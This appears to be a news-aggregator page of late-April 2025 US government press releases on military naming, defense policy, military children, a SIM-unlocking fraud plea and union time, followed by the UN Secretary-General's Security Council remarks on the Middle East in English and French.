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Category: Military Intelligence

  • MIL-OSI USA: Congressman Castro Leads CHC Members in Push to Retain the Name of Fort Cavazos

    Source: United States House of Representatives – Congressman Joaquin Castro (20th District of Texas)

    April 29, 2025

    WASHINGTON, D.C. — Today, Congressman Castro (TX-20), Vice Chair for Diversity and Inclusion, led the Congressional Hispanic Caucus (CHC) delegation in urging Secretary of Defense Pete Hegseth to retain the name of Fort Cavazos — recently renamed after General Richard E. Cavazos, the first Mexican American to reach the rank of four-star general. This letter comes after Secretary Hegseth’s order to rename Fort Moore, a military base in southwest Georgia, back to Fort Benning. Secretary Hegseth has expressed interest in renaming others.

    “When Congress tasked the bipartisan Renaming Commission with replacing Confederate names across military bases, they thoughtfully selected General Robert E. Cavazos to replace Fort Hood’s designation. Throughout his distinguished 33-year military career, General Cavazos demonstrated exceptional bravery and leadership that epitomizes the values our armed forces always seek to uphold. His achievements and service to our country have earned him this lasting recognition, which must be upheld,” the lawmakers wrote.

    “After retiring in 1984, he continued to serve in public leadership roles, including on the Board of Regents for Texas Tech University. His legacy is one of exceptional bravery, visionary leadership, and a lifelong commitment to the country he served,” the lawmakers continued.

    “Keeping the military installation in Killeen, Texas as Fort Cavazos would be an ongoing tribute to a leader who dedicated his life to our nation. Maintaining his name ensures that our military installations honor those who served with distinction and upheld this country’s highest values. We urge you to uphold the Renaming Commission’s decision and ensure that Fort Cavazos continues to bear the name of this distinguished American hero,” the lawmakers concluded.

    Background:

    In 2021, the Commission on the Naming of Items of the Department of Defense was established to remove all names, symbols, displays, monuments, and paraphernalia that honor the Confederate States of America from all assets of the Department of Defense. 

    Congressman Castro and the Congressional Hispanic Caucus delegation successfully recommended for General Richard E. Cavazos to be honored in the renaming process of Fort Hood, a military base in Texas. In 2023, the base was officially renamed in honor of General Cavazos.

    The full letter can be read here.


    MIL OSI USA News –

    April 30, 2025
  • MIL-OSI USA: Shaheen Blasts Hegseth For Moving to End Bipartisan “Women, Peace and Security” Program She Ushered into Law During Trump’s First Term

    US Senate News:

    Source: United States Senator for New Hampshire Jeanne Shaheen
    (Washington, DC) – U.S. Senator Jeanne Shaheen (D-NH), a top member of the U.S. Senate Armed Services Committee, released the following statement on Secretary of Defense Pete Hegseth’s move to “end” the Shaheen-led “Women, Peace and Security (WPS)” program inside the U.S. Department of Defense. In 2017, President Trump signed WPS into law after Shaheen and U.S. Senator Shelley Moore Capito (R-WV) ushered the bipartisan legislation through Congress. Its implementation at the Department of Defense is supported by every combatant commander and the Joint Chiefs of Staff.  
    “Secretary Hegseth has absolutely no idea what he’s doing. This shortsighted, unlawful move to end the bipartisan Women, Peace and Security law—which President Trump signed into law during his first term—weakens America’s global standing. 
    “WPS is law; the Secretary cannot unilaterally terminate the program Congress passed because he doesn’t understand how the inclusion and participation of women in mediation and negotiation make a measurable difference in preventing, mitigating and resolving violent conflicts and keeping America safe. Every combatant commander who comes through my office highlights the strategic advantage WPS gives U.S. forward deployed forces. 
    “This follows a dangerous and disturbing pattern from the Secretary, who clearly does not listen to advice from senior military leaders. He also continues to ignore the invaluable role women play in our national security. It’s startling that just because the word ‘women’ is in the title, this evidence-based security program has been reduced to a DEI program. 
    “This is further proof that Secretary Hegseth is hopelessly in over his head in a role he was never qualified to hold. First it was disclosing classified information on unsecured platforms, including to family members. Next, it was losing his entire senior staff in a matter of days. And now, he’s ignoring his entire senior military leadership and the rest of Trump’s national security cabinet.  
    “President Trump was right that Secretary Hegseth needs to ‘get it together’ but today’s announcement is further evidence of how hopeless that cause is. Shame on the Secretary.” 
    In 2017, Shaheen led the bipartisan Women, Peace and Security law through Congress to prioritize the promotion of women’s participation in foreign policy and national security efforts, such as conflict prevention, peace negotiations and democratic institutions. Women’s participation in peace negotiations increases the probability by 35 percent of agreements lasting at least 15 years. 
    After Shaheen’s bill passed the Republican-led Senate by unanimous consent and was approved by the Republican-led U.S. House of Representatives, President Trump signed the bipartisan legislation into law in October 2017. Members of President Trump’s cabinet were integral to its passage through Congress – Secretary of Homeland Security Kristi Noem was the sponsor of the bill in the U.S. House of Representatives, Secretary of State Marco Rubio was an original cosponsor in the Senate and National Security Advisor Mike Waltz chaired the House WPS caucus for many years.  
    In a Senate Armed Services Committee hearing earlier this month on Lieutenant General John D. Caine’s nomination to be Chairman of the Joint Chiefs of Staff, General Caine told Shaheen about the operational advantage for the U.S. military – not DEI. 

    MIL OSI USA News –

    April 30, 2025
  • MIL-OSI USA: Murray, Boozman Reintroduce Bipartisan Bill to Designate April as Month of the Military Child

    US Senate News:

    Source: United States Senator for Washington State Patty Murray
    Washington, D.C. — Today, U.S. Senator Patty Murray (D-WA), Vice Chair of the Senate Appropriations Committee, and a senior member and former Chair of the Senate Veterans Affairs Committee, introduced a bipartisan resolution alongside Senator John Boozman (R-AR) to designate April as the “Month of the Military Child.” Month of the Military Child is observed each April to celebrate and honor the commitment, service, and sacrifices made by children in military families. The resolution notes that servicemembers’ entire families make a commitment to the United States, and that military children are heroes in their own way—and it urges people across the United States to show appreciation for the more than 1.6 million children who are part of military families across the United States.
    The legislation was also co-led by Senators Jacky Rosen (D-NV) and John Hoeven (R-ND).
    “I know first-hand that when your parent is in the military, it is a commitment the entire family makes to this country. Military children deserve to be celebrated and acknowledged for the heroic commitments they make to their families in service,” said Senator Murray. “I will always be a voice for Washington state’s servicemembers and their families, and I am proud to partner with Senator Boozman to recognize military children for the sacrifices they make every single day for their families’ service to our country.”
    “Military service is a family affair, including the sons and daughters of our servicemembers. There are not enough words to acknowledge the costs and sacrifices, like countless moves and long separations during deployments, that they bear,” said Senator Boozman. “I am proud to come together in a bipartisan way to recognize every military child and express our gratitude for selflessly sharing their parents with the noble cause of defending our nation.”
    “When someone chooses to serve our nation in uniform, their entire family joins in the sacrifice. Military children have to move around frequently, change schools multiple times, and spend special occasions without a parent,” said Senator Rosen. “They deserve our gratitude and recognition, which is why I’m proud to help introduce this resolution to designate April as the Month of the Military Child.”
    “Military children show incredible resilience as they navigate the unique challenges of military life,” said Senator Hoeven. “From frequent moves to long deployments, they stand strong beside their families with courage. Their sacrifices often go unseen, but their service to our nation deserves to be celebrated.”
    Senator Murray was the first woman to join the Senate Veterans’ Affairs Committee and the first woman to chair the Committee—as the daughter of a World War II veteran, supporting servicemembers, veterans, and their families has always been an important priority for her. Senator Murray has fought throughout her career for increased benefits for veterans, housing assistance, better access to veterans’ clinics throughout Washington state, and more accountability from the VA.
    Earlier this year, Senators Murray and Boozman reintroduced their bipartisan Helping Heroes Act, which would support the families of disabled veterans, including children who take on caregiving roles. This bill recognizes the work done by the approximately 2.3 million children under the age of 18 living in a household with a disabled veteran and seeks to provide critical support and assistance to these children in accessing local, state, and federal resources.
    The full text of the legislation is HERE.

    MIL OSI USA News –

    April 30, 2025
  • MIL-OSI USA: Hoeven, Murray, Boozman, Rosen Reintroduce Bill to Recognize April As Month of the Military Child

    US Senate News:

    Source: United States Senator for North Dakota John Hoeven

    04.29.25

    WASHINGTON – Senator John Hoeven (R-N.D.) joined Senators Patty Murray (D-Wash.), John Boozman (R-Ark.) and Jacky Rosen (D-Nev.) in leading bipartisan legislation to designate April as the “Month of the Military Child.” The Month of the Military Child is observed each April to celebrate and honor the commitment, service, and sacrifices made by children in military families and urges all Americans to show appreciation for the more than 1.6 million children who are part of military families across the United States.

    “Military children show incredible resilience as they navigate the unique challenges of military life,” said Senator Hoeven. “From frequent moves to long deployments, they stand strong beside their families with courage. Their sacrifices often go unseen, but their service to our nation deserves to be celebrated.”

    “I know first-hand that when your parent is in the military, it is a commitment the entire family makes to this country. Military children deserve to be celebrated and acknowledged for the heroic commitments they make to their families in service,” said Senator Murray. “I will always be a voice for Washington state’s servicemembers and their families, and I am proud to partner with Senator Boozman to recognize military children for the sacrifices they make every single day for their families’ service to our country.”

    “Military service is a family affair, including the sons and daughters of our servicemembers. There are not enough words to acknowledge the costs and sacrifices, like countless moves and long separations during deployments, that they bear,” said Senator Boozman. “I am proud to come together in a bipartisan way to recognize every military child and express our gratitude for selflessly sharing their parents with the noble cause of defending our nation.”

    “When someone chooses to serve our nation in uniform, their entire family joins in the sacrifice. Military children have to move around frequently, change schools multiple times, and spend special occasions without a parent,” said Senator Rosen. “They deserve our gratitude and recognition, which is why I’m proud to help introduce this resolution to designate April as the Month of the Military Child.”

    Full text of the legislation can be found here.



    MIL OSI USA News –

    April 30, 2025
  • MIL-OSI USA: Trends in Spending for Military Compensation

    Source: US Congressional Budget Office

    In a presentation to the Defense Manpower Roundtable, F. M. Woodward, an analyst in CBO’s National Security Division, discussed trends in military compensation, based on the January 2025 update of CBO’s “Atlas of Military Compensation.”

    MIL OSI USA News –

    April 30, 2025
  • MIL-OSI Security: Former Employee of Telecommunications Company Admits to Wire Fraud Conspiracy

    Source: Office of United States Attorneys

    NEWARK, N.J. – A former telecommunications company employee admitted to wire fraud conspiracy for his role in a scheme to fraudulently unlock the Subscriber Identification Module (SIM) cards of thousands of mobile phones, U.S. Attorney Alina Habba announced.

    Richard Forrest Sherman, 46, pleaded guilty before U.S. District Judge Madeline Cox Arleo in Newark federal court, to an information charging him with wire fraud conspiracy.

    According to documents filed in this case and statements made in court:

    Sherman worked at a multinational telecommunications company. While there, he managed an account for a customer that received an exemption to unlock the SIM cards of mobile devices. Sherman exploited this exemption by creating a series of customer accounts within the carrier’s system to make the accounts look like an affiliate company of the customer that actually received the exemption. Sherman and others then submitted bulk unlocking requests through these fake affiliate accounts that Sherman set up before leaving the telecommunications company.

    Sherman, through his entities, received payment from others in exchange for causing the fake affiliate accounts to successfully send International Mobile Equipment Identity (IMEI) numbers in bulk to the carrier. The carrier, believing that the fake affiliate company was entitled to the unlocking exception, unlocked these IMEIs in bulk. Unlocking these IMEIs permitted others involved in the scheme to resell the phones for profit – the phones would have otherwise remained locked or required payment of a fee to be unlocked. Sherman set up the fake affiliate accounts in or around 2013; he and his conspirators exploited the fraud scheme until it was discovered in August 2020.

    The wire fraud conspiracy count carries a maximum potential penalty of 20 years in prison and a fine of $250,000, or twice the pecuniary gain to the defendant or loss to the victims, whichever is greatest.

    U.S. Attorney Habba credited special agents of the U.S. Secret Service’s Seattle Field Office, under the direction of Special Agent in Charge Glen Peterson, with the investigation leading to the charge.

    The government is represented by Assistant U.S. Attorney Sean Nadel of the Narcotics/OCDETF Unit in Newark. 

                                                                           ###

    Defense Counsel: Henry Klingeman, Esq. and Robert Westinghouse, Esq. 

    MIL Security OSI –

    April 30, 2025
  • MIL-OSI USA: ICYMI: Ernst Standing up for Taxpayers in Washington

    US Senate News:

    Source: United States Senator Joni Ernst (R-IA)
    WASHINGTON – In case you missed it, Senate DOGE Caucus Chair Joni Ernst (R-Iowa) has been leading the fight in Washington to end taxpayer-funded union time (TFUT), the insane practice of requiring taxpayers to foot the bill for federal employees engaging in union activity while on the clock, including lobbying Congress for higher pay, negotiating telework agreements, and securing other cushy perks.
    While data was not released under the Biden administration, the most recent report from 2019 showed federal employees spent 2,606,390 hours engaged in union activities while on the clock for the American people, costing taxpayers $160 million in just one year.
    To uncover the true cost of TFUT, Senator Ernst demanded in December 2024 that 24 federal agencies provide accurate and up to date data. Ernst’s efforts have already uncovered the jaw-dropping details of the true cost to taxpayers at three federal agencies.
    The Nuclear Regulatory Commission (NRC) revealed an 11% increase in costs since 2019, racking up more than $400,000 annually.
    NY POST | Nuclear agency had 11% increase in taxpayer-funded union time from five years ago, records show
    The National Aeronautics and Space Administration (NASA) similarly admitted that north of $400,000 was spent every year for union activity.
    NY POST | NASA spent over $400K taxpayer dollars on union time last year
    The real bombshell came from the Defense Health Agency (DHA), which oversees the TRICARE health benefits for servicemembers, who said its bureaucrats spent 87,000 hours on union activity costing taxpayers $3.3 million.
    NY POST | Workers at Defense Health Agency spent $3.3 million and 87,000 hours working on their own union benefits
    Because the data from these three agencies is just the tip of the iceberg, Senator Ernst sent a letter to the Trump administration requesting that the Office of Personnel Management (OPM) resume tracking and publicly disclosing the total cost of TFUT across government to provide taxpayers with a true accounting. The Trump administration has agreed and will soon publish a government-wide report. Ernst also introduced the Taxpayer-Funded Union Time Transparency Act to require the annual public disclosure of the cost of TFUT to the American people.
    Transparency is an important step but Ernst has also introduced the Protecting Taxpayers’ Wallet Act to require federal unions to reimburse taxpayers for all costs involving TFUT to potentially save the American people more than a billion dollars over the next decade.
    Her bill will ensure that no more tax dollars are spent on bureaucrats securing cushy perks as was the case at the Internal Revenue Service (IRS). Ernst uncovered that the IRS’s union secured a cushy telework agreement allowing employees to come in just two days per two-week pay period. To rub salt in the wound, all of the negotiations were done on taxpayers’ dime.
    NY POST | IRS workers only had to show up to work once a week in person, before Trump took over
    Last week, Ernst sent a letter to Housing and Urban Development (HUD) Secretary Scott Turner about how his department has been ground zero for TFUT abuse by bureaucrats. She detailed examples of bureaucrats launching real estate careers, going on beach vacations, and even sitting in jail cells all while allegedly on union time.
    THE DAILY CALLER | Joni Ernst Reveals More Examples Of HUD Bureaucrats Bilking Taxpayers
    Ernst’s efforts to fight for taxpayers have earned her sweeping praise.
    NY POST | Public-sector workers spent 87,000 hours screwing you — just at one agency, just in two years
    The New York Post Editorial Board wrote about Senator Ernst and called her, “A fierce advocate for the troops as well as a staunch fighter against fraud and waste as head of the Senate DOGE caucus.”
    The Public Labor Unions Accountability Committee, who advocates for holding public sector unions accountable, has applauded Ernst’s work and emphasized that American taxpayers deserve to know where their money is going.
    FOX NEWS | MARY KATHARINE HAM: Teachers union bosses put themselves first, teachers and students last
    Fox News contributor, OutKick columnist, and Senior Advisor to the Public Labor Unions Accountability Committee Mary Katharine Ham praised Ernst’s efforts and demanded that public sector unions be removed from politics. Ham also called out the true cost of public sector unions on the Ruthless podcast and the Guy Benson Show.
    WASHINGTON EXAMINER | No more union time on taxpayer dime
    The Washington Examiner Editorial board applauded Ernst’s Protecting Taxpayer’s Wallet Act in a piece calling for the end of union time on the taxpayers’ dime.
    Americans For Fair Treatment, an advocacy group for getting union spending out of politics, has also praised the Protecting Taxpayer’s Wallet Act and called for its swift passage to bring a little fiscal sanity to Washington.
    SEAN HANNITY | IR-MESS! IRS Workers Only Had to Show Up for Work One Day a Week Before Trump 2.0: Report
    Hannity called out the insanity of IRS bureaucrats only having to show up once a week after Senator Ernst unearthed the arrangement.

    MIL OSI USA News –

    April 30, 2025
  • MIL-OSI United Nations: Secretary-General’s remarks to the Security Council – on the Middle East [as delivered; scroll down for all-English and all-French]

    Source: United Nations secretary general

    Monsieur le Président, Excellences,

    Je remercie la présidence française d’organiser cette réunion au niveau ministériel sur le Moyen-Orient, y compris la question palestinienne.

    La région traverse des bouleversements fondamentaux, marqués par la violence et la volatilité, mais également porteurs d’opportunités et de potentiel.

    Au Liban, le cessez-le-feu et l’intégrité territoriale doivent être respectés et tous les engagements doivent être mis en œuvre.

    En Syrie, nous devons poursuivre nos efforts pour accompagner le pays sur la voie d’une transition politique inclusive de toutes les composantes de la population syrienne – une transition qui garantisse la reddition de comptes, favorise la réconciliation nationale, et jette les bases du redressement à long terme de la Syrie ainsi que de son intégration future au sein de la communauté internationale. 

    Cela inclut la situation dans le Golan syrien occupé, qui demeure précaire en raison de violations majeures de l’Accord de désengagement des forces de 1974 – notamment la présence continue des Forces de défense israéliennes dans la zone de séparation, ainsi que leurs multiples frappes contre des sites au-delà de la ligne de cessez-le-feu.

    À travers le Moyen-Orient, les populations réclament et méritent un avenir meilleur – et non des conflits et des souffrances sans fin.

    Nous devons agir ensemble pour faire en sorte que cette période de turbulences et de transition réponde à ces aspirations – et qu’elle apporte justice, dignité, droits, sécurité, et une paix durable.

    Cela commence par la reconnaissance de deux faits fondamentaux : 

    Premièrement, la région se trouve à un moment charnière de son histoire. 

    Et, deuxièmement, que toute paix vraiment durable au Moyen-Orient dépend d’une question centrale.

    Un élément essentiel que ce Conseil de sécurité a affirmé et réaffirmé, année après année, décennie après décennie : une solution à deux États, Israël et la Palestine, vivant côte-à-côte dans la paix et la sécurité, avec Jérusalem comme capitale des deux États.

    Mr. President,

    Today, the promise of a two-State solution is at risk of dwindling to the point of disappearance. 

    The political commitment to this long-standing goal is farther than it has ever been.

    As a result, the rights of both Israelis and Palestinians to live and peace and security have been undermined – and the legitimate national aspirations of the Palestinians have been denied – while they endure Israel’s continued presence that the International Court of Justice has found unlawful. 

    And since the horrific 7 October terror attacks by Hamas, it has gotten worse on every front.

    First, the unrelenting conflict and devastation in Gaza – including the utterly inhumane conditions of life imposed on its people who are repeatedly coming under attack, confined to smaller and smaller spaces, and deprived of lifesaving relief. 

    In line with international law, the Security Council has rejected any attempt at demographic or territorial change in the Gaza Strip, including any actions that reduce its territory. 

    Gaza is — and must remain — an integral part of a future Palestinian state.

    Second, in the occupied West Bank, including East Jerusalem, Israeli military operations and the use of heavy weaponry in residential areas, forcible displacement, demolitions, movement restrictions, and settlement expansion are dramatically altering demographic and geographic realities. 

    Palestinians are being contained and coerced.  Contained in areas that are subject to increasing military operations and where the Palestinian Authority is under growing pressure – and coerced out of areas where settlements are expanding. 

    Third, settler violence continues at alarmingly high levels in a climate of impunity, with entire Palestinian communities facing repeated assaults and destruction, sometimes abetted by Israeli soldiers.

    Palestinian attacks against Israelis in both Israel and the occupied West Bank also continue.

    Mr. President,

    The world cannot afford to watch the two-State solution disappear. 

    Political leaders face clear choices — the choice to be silent, the choice to acquiesce, or the choice to act.

    Mr. President,

    In Gaza, there is no end in sight to the killing and misery.

    The ceasefire had brought a glimmer of hope – the long-sought release of hostages and delivery of lifesaving humanitarian relief.

    But those embers of opportunity were cruelly extinguished with the shattering of the ceasefire on 18 March. 

    Since then, almost 2,000 Palestinians have been killed in Gaza by Israeli strikes and military operations – including women, children, journalists, and humanitarians.

    Hamas also continues to fire rockets towards Israel indiscriminately – while the hostages continue to be held in appalling conditions. 

    The humanitarian situation throughout the Gaza Strip has gone from bad … to worse … to beyond imagination.   

    For nearly two full months, Israel has blocked food, fuel, medicine and commercial supplies, depriving more than two million people of lifesaving relief. 

    All while the world watches.

    I am alarmed by statements by Israeli government officials about the use of humanitarian aid as a tool for military pressure.

    Aid is non-negotiable. 

    Israel must protect civilians and must agree to relief schemes and facilitate them.

    I salute the women and men of the United Nations and all other humanitarian workers – especially our Palestinian colleagues — who continue to work under fire and in incomprehensibly difficult conditions.

    And I mourn all of the women and men of the United Nations who were killed – including some with their families.

    The entry of assistance must be restored immediately — the safety of UN personnel and humanitarian partners must be guaranteed – and UN agencies must be allowed to work in full respect of humanitarian principles:  humanity, impartiality, neutrality and independence.

    There must be no hindrance in humanitarian aid – including through the vital work of UNRWA.

    We need the immediate and unconditional release of all hostages.

    And we need a permanent ceasefire.

    It’s time to stop the repeated displacement of the Gaza population – along with any question of forced displacement outside of Gaza.

    And the trampling of international law must end.

    I call on Member States to use their leverage to ensure that international law is respected and impunity does not prevail.

    This includes for the 19 March incident for which Israel has now acknowledged responsibility in firing on a UN guesthouse, killing one colleague and injuring six others … the 23 March killing of paramedics and other rescue workers in Rafah … as well as many other cases.

    There must be accountability across the board.

    Mr. President,

    Advisory proceedings are ongoing at the International Court of Justice on the obligations of Israel, as an occupying Power and a Member of the United Nations, in relation to the presence and activities of the United Nations in and in relation to the Occupied Palestinian Territory.

    In February, the United Nations Legal Counsel submitted a written statement to the Court – and yesterday, she made an oral statement before the Court – both of which on my behalf.

    The statement to the Court includes points that I have made on a number of occasions.

    Specifically, that all parties to conflict must comply with all their obligations under international law, including international human rights law and international humanitarian law.

    That Israel, as an occupying Power, is under an obligation to ensure food and medical supplies of the population.

    That Israel has an obligation to agree to and facilitate relief schemes in the Occupied Palestinian Territory.

    That humanitarian, medical and United Nations personnel must be respected and protected.

    And I emphasize the obligation under international law to respect the privileges and immunities of the United Nations and its personnel, including the absolute inviolability of United Nations premises, property and assets – and the immunity from legal process of the United Nations. 

    Such immunity applies to all UN entities in the Occupied Palestinian Territory – including UNRWA – a subsidiary organ of the General Assembly.
    I call on Member States to fully support all of these efforts. 

    Mr. President,

    In this period of turmoil and transition for the region, Member States must spell out how they will realize the commitment and promise of a two-State solution.

    This is not a time for ritualistically expressing support, ticking a box, and moving on.

    We are past the stage of ticking boxes – the clock is ticking.

    The two-State solution is near a point of no return. 

    The international community has a responsibility to prevent perpetual occupation and violence.

    My call to Member States is clear and urgent:

    Take irreversible action towards implementing a two-State solution.

    Do not let extremists on any side undermine what remains of the peace process.

    The High-Level Conference in June, co-chaired by France and the Kingdom of Saudi Arabia, is an important opportunity to revitalize international support.

    I encourage Member States to go beyond affirmations, and to think creatively about the concrete steps they will take to support a viable two-State solution before it is too late.

    At the same time, the Palestinian Authority needs stepped-up and sustained support – politically and financially.  This is crucial to ensure the continued viability of Palestinian institutions, consolidate ongoing reforms, and enable the PA to resume its full responsibilities in Gaza.

    Mr. President,

    At this hinge point of history for the people of the Middle East – and on this issue on which so much hinges – leaders must stand and deliver. 

    Show the political courage and exercise the political will to make good on this central question for peace for Palestinians, Israelis, the region and humanity.

    Thank you.

    ***
    [all-English]

    Mr. President, Excellencies,

    I thank the French presidency for convening this ministerial-level meeting on the Middle East, including the Palestinian question.

    The region is undergoing fundamental shifts, marked by violence and volatility but also opportunity and potential.

    In Lebanon, the ceasefire and territorial integrity must be respected and all commitments implemented.

    In Syria, we must keep working to support the country’s path towards a political transition that is inclusive of all segments of the Syrian population – one that ensures accountability, fosters national healing, and lays the foundation for Syria’s long-term recovery and further integration into the international community. 

    This includes the situation in the occupied Syrian Golan — which remains precarious with significant violations of the 1974 Disengagement of Forces Agreement, with the continued presence of the Israel Defense Forces into the area of separation and their several strikes targeting locations across the ceasefire line.

    Across the Middle East, people demand and deserve a better future, not endless conflict and suffering.

    We must collectively work to ensure that this turbulent and transitional period meets those aspirations — and delivers justice, dignity, rights, security and lasting peace.

    It starts by recognizing two fundamental facts: 

    First, that the region is at a hinge-point in history. 

    And, second, that truly sustainable Middle East peace hinges on one central question.

    On a core issue that this Security Council has affirmed and re-affirmed decade after decade, year after year:  a two-state solution, Israel and Palestine, living side-by-side in peace and security, with Jerusalem as the capital of both states.

    Mr. President,

    Today, the promise of a two-State solution is at risk of dwindling to the point of disappearance. 

    The political commitment to this long-standing goal is farther than it has ever been.

    As a result, the rights of both Israelis and Palestinians to live and peace and security have been undermined – and the legitimate national aspirations of the Palestinians have been denied – while they endure Israel’s continued presence that the International Court of Justice has found unlawful. 

    And since the horrific 7 October terror attacks by Hamas, it has gotten worse on every front.

    First, the unrelenting conflict and devastation in Gaza – including the utterly inhumane conditions of life imposed on its people who are repeatedly coming under attack, confined to smaller and smaller spaces, and deprived of lifesaving relief. 

    In line with international law, the Security Council has rejected any attempt at demographic or territorial change in the Gaza Strip, including any actions that reduce its territory. 

    Gaza is — and must remain — an integral part of a future Palestinian state.

    Second, in the occupied West Bank, including East Jerusalem, Israeli military operations and the use of heavy weaponry in residential areas, forcible displacement, demolitions, movement restrictions, and settlement expansion are dramatically altering demographic and geographic realities. 

    Palestinians are being contained and coerced.  Contained in areas that are subject to increasing military operations and where the Palestinian Authority is under growing pressure – and coerced out of areas where settlements are expanding. 

    Third, settler violence continues at alarmingly high levels in a climate of impunity, with entire Palestinian communities facing repeated assaults and destruction, sometimes abetted by Israeli soldiers.

    Palestinian attacks against Israelis in both Israel and the occupied West Bank also continue.

    Mr. President,

    The world cannot afford to watch the two-State solution disappear. 

    Political leaders face clear choices — the choice to be silent, the choice to acquiesce, or the choice to act.

    Mr. President,

    In Gaza, there is no end in sight to the killing and misery.

    The ceasefire had brought a glimmer of hope – the long-sought release of hostages and delivery of lifesaving humanitarian relief.

    But those embers of opportunity were cruelly extinguished with the shattering of the ceasefire on 18 March. 

    Since then, almost 2,000 Palestinians have been killed in Gaza by Israeli strikes and military operations – including women, children, journalists, and humanitarians.

    Hamas also continues to fire rockets towards Israel indiscriminately – while the hostages continue to be held in appalling conditions. 

    The humanitarian situation throughout the Gaza Strip has gone from bad … to worse … to beyond imagination.   

    For nearly two full months, Israel has blocked food, fuel, medicine and commercial supplies, depriving more than two million people of lifesaving relief. 

    All while the world watches.

    I am alarmed by statements by Israeli government officials about the use of humanitarian aid as a tool for military pressure.

    Aid is non-negotiable. 

    Israel must protect civilians and must agree to relief schemes and facilitate them.

    I salute the women and men of the United Nations and all other humanitarian workers – especially our Palestinian colleagues — who continue to work under fire and in incomprehensibly difficult conditions.

    And I mourn all of the women and men of the United Nations who were killed – including some with their families.

    The entry of assistance must be restored immediately — the safety of UN personnel and humanitarian partners must be guaranteed – and UN agencies must be allowed to work in full respect of humanitarian principles:  humanity, impartiality, neutrality and independence.

    There must be no hindrance in humanitarian aid – including through the vital work of UNRWA.

    We need the immediate and unconditional release of all hostages.

    And we need a permanent ceasefire.

    It’s time to stop the repeated displacement of the Gaza population – along with any question of forced displacement outside of Gaza.

    And the trampling of international law must end.

    I call on Member States to use their leverage to ensure that international law is respected and impunity does not prevail.

    This includes for the 19 March incident for which Israel has now acknowledged responsibility in firing on a UN guesthouse, killing one colleague and injuring six others … the 23 March killing of paramedics and other rescue workers in Rafah … as well as many other cases.

    There must be accountability across the board.

    Mr. President,

    Advisory proceedings are ongoing at the International Court of Justice on the obligations of Israel, as an occupying Power and a Member of the United Nations, in relation to the presence and activities of the United Nations in and in relation to the Occupied Palestinian Territory.

    In February, the United Nations Legal Counsel submitted a written statement to the Court – and yesterday, she made an oral statement before the Court – both of which on my behalf.

    The statement to the Court includes points that I have made on a number of occasions.

    Specifically, that all parties to conflict must comply with all their obligations under international law, including international human rights law and international humanitarian law.

    That Israel, as an occupying Power, is under an obligation to ensure food and medical supplies of the population.

    That Israel has an obligation to agree to and facilitate relief schemes in the Occupied Palestinian Territory.

    That humanitarian, medical and United Nations personnel must be respected and protected.

    And I emphasize the obligation under international law to respect the privileges and immunities of the United Nations and its personnel, including the absolute inviolability of United Nations premises, property and assets – and the immunity from legal process of the United Nations. 

    Such immunity applies to all UN entities in the Occupied Palestinian Territory – including UNRWA – a subsidiary organ of the General Assembly.

    I call on Member States to fully support all of these efforts. 

    Mr. President,

    In this period of turmoil and transition for the region, Member States must spell out how they will realize the commitment and promise of a two-State solution.

    This is not a time for ritualistically expressing support, ticking a box, and moving on.

    We are past the stage of ticking boxes – the clock is ticking.

    The two-State solution is near a point of no return. 

    The international community has a responsibility to prevent perpetual occupation and violence.

    My call to Member States is clear and urgent:

    Take irreversible action towards implementing a two-State solution.

    Do not let extremists on any side undermine what remains of the peace process.

    The High-Level Conference in June, co-chaired by France and the Kingdom of Saudi Arabia, is an important opportunity to revitalize international support.

    I encourage Member States to go beyond affirmations, and to think creatively about the concrete steps they will take to support a viable two-State solution before it is too late.

    At the same time, the Palestinian Authority needs stepped-up and sustained support – politically and financially.  This is crucial to ensure the continued viability of Palestinian institutions, consolidate ongoing reforms, and enable the PA to resume its full responsibilities in Gaza.

    Mr. President,

    At this hinge point of history for the people of the Middle East – and on this issue on which so much hinges – leaders must stand and deliver. 

    Show the political courage and exercise the political will to make good on this central question for peace for Palestinians, Israelis, the region and humanity.

    Thank you.

    ***
    [all-French]

    Monsieur le Président, Excellences,

    Je remercie la présidence française d’organiser cette réunion au niveau ministériel sur le Moyen-Orient, y compris la question palestinienne.

    La région traverse des bouleversements fondamentaux, marqués par la violence et la volatilité, mais également porteurs d’opportunités et de potentiel.

    Au Liban, le cessez-le-feu et l’intégrité territoriale doivent être respectés et tous les engagements doivent être mis en œuvre.

    En Syrie, nous devons poursuivre nos efforts pour accompagner le pays sur la voie d’une transition politique inclusive de toutes les composantes de la population syrienne – une transition qui garantisse la reddition de comptes, favorise la réconciliation nationale, et jette les bases du redressement à long terme de la Syrie ainsi que de son intégration future au sein de la communauté internationale. 

    Cela inclut la situation dans le Golan syrien occupé, qui demeure précaire en raison de violations majeures de l’Accord de désengagement des forces de 1974 – notamment la présence continue des Forces de défense israéliennes dans la zone de séparation, ainsi que leurs multiples frappes contre des sites au-delà de la ligne de cessez-le-feu.

    À travers le Moyen-Orient, les populations réclament et méritent un avenir meilleur – et non des conflits et des souffrances sans fin.

    Nous devons agir ensemble pour faire en sorte que cette période de turbulences et de transition réponde à ces aspirations – et qu’elle apporte justice, dignité, droits, sécurité, et une paix durable.

    Cela commence par la reconnaissance de deux faits fondamentaux : 

    Premièrement, la région se trouve à un moment charnière de son histoire. 
    Et, deuxièmement, que toute paix vraiment durable au Moyen-Orient dépend d’une question centrale.

    Un élément essentiel que ce Conseil de sécurité a affirmé et réaffirmé, année après année, décennie après décennie : une solution à deux États, Israël et la Palestine, vivant côte-à-côte dans la paix et la sécurité, avec Jérusalem comme capitale des deux États.

    Monsieur le Président,

    Aujourd’hui, la promesse de la solution des deux États court le risque de s’effilocher au point de disparaître.

    L’engagement politique en faveur de cet objectif de longue date n’a jamais été aussi ténu.

    De ce fait, les droits des Israéliens et des Palestiniens de vivre en paix et sécurité ont été mis à mal – et les aspirations nationales légitimes des Palestiniens ont été niées – alors qu’ils continuent de subir une présence israélienne que la Cour internationale de justice a jugée illicite.

    Depuis les effroyables attaques terroristes perpétrées par le Hamas le 7 octobre, la situation s’est aggravée sur tous les fronts.

    Premièrement, avec le conflit incessant et la dévastation que subit la bande de Gaza : les conditions de vie sont absolument inhumaines, les habitants sont la cible d’attaques à répétition et sont confinés dans des espaces de plus en plus réduits et privés d’une aide vitale.

    S’appuyant sur le droit international, le Conseil de sécurité a rejeté toute tentative de changement démographique ou territorial dans la bande de Gaza, y compris tout acte visant à réduire le territoire.

    Gaza fait partie intégrante d’un futur État palestinien et doit le rester.

    Deuxièmement, en Cisjordanie occupée, y compris Jérusalem-Est, les opérations militaires israéliennes et l’emploi d’armes lourdes dans des zones résidentielles, les déplacements forcés, les démolitions, les restrictions de circulation et l’expansion des colonies transforment radicalement les réalités démographiques et géographiques.

